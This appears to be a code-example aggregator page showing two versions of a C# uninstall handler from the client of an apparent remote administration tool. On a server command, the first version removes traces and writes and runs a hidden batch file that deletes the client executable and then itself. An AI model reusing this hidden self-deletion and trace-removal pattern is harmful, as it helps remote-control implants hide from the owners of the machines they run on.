Exemplo n.º 1
0
        public static void HandleDoClientUninstall(Packets.ServerPackets.DoClientUninstall command, Client client)
        {
            new Packets.ClientPackets.SetStatus("Uninstalling... bye ;(").Execute(client);

            SystemCore.RemoveTraces();

            try
            {
                string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                                               FileHelper.GetRandomFilename(12, ".bat"));

                string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE)
                    ? "@echo off" + "\n" +
                                        "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                        "ping -n 20 localhost > nul" + "\n" +
                                        "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                        "del " + "\"" + filename + "\""
                    : "@echo off" + "\n" +
                                        "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                        "ping -n 20 localhost > nul" + "\n" +
                                        "del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                        "del " + "\"" + filename + "\""
                ;

                File.WriteAllText(filename, uninstallBatch);
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    CreateNoWindow  = true,
                    UseShellExecute = true,
                    FileName        = filename
                };
                Process.Start(startInfo);
            }
            finally
            {
                SystemCore.Disconnect = true;
                client.Disconnect();
            }
        }
Exemplo n.º 2
0
        public static void HandleDoClientUninstall(Packets.ServerPackets.DoClientUninstall command, Client client)
        {
            new Packets.ClientPackets.SetStatus("Uninstalling... bye ;(").Execute(client);

            ClientUninstaller.Uninstall(client);
        }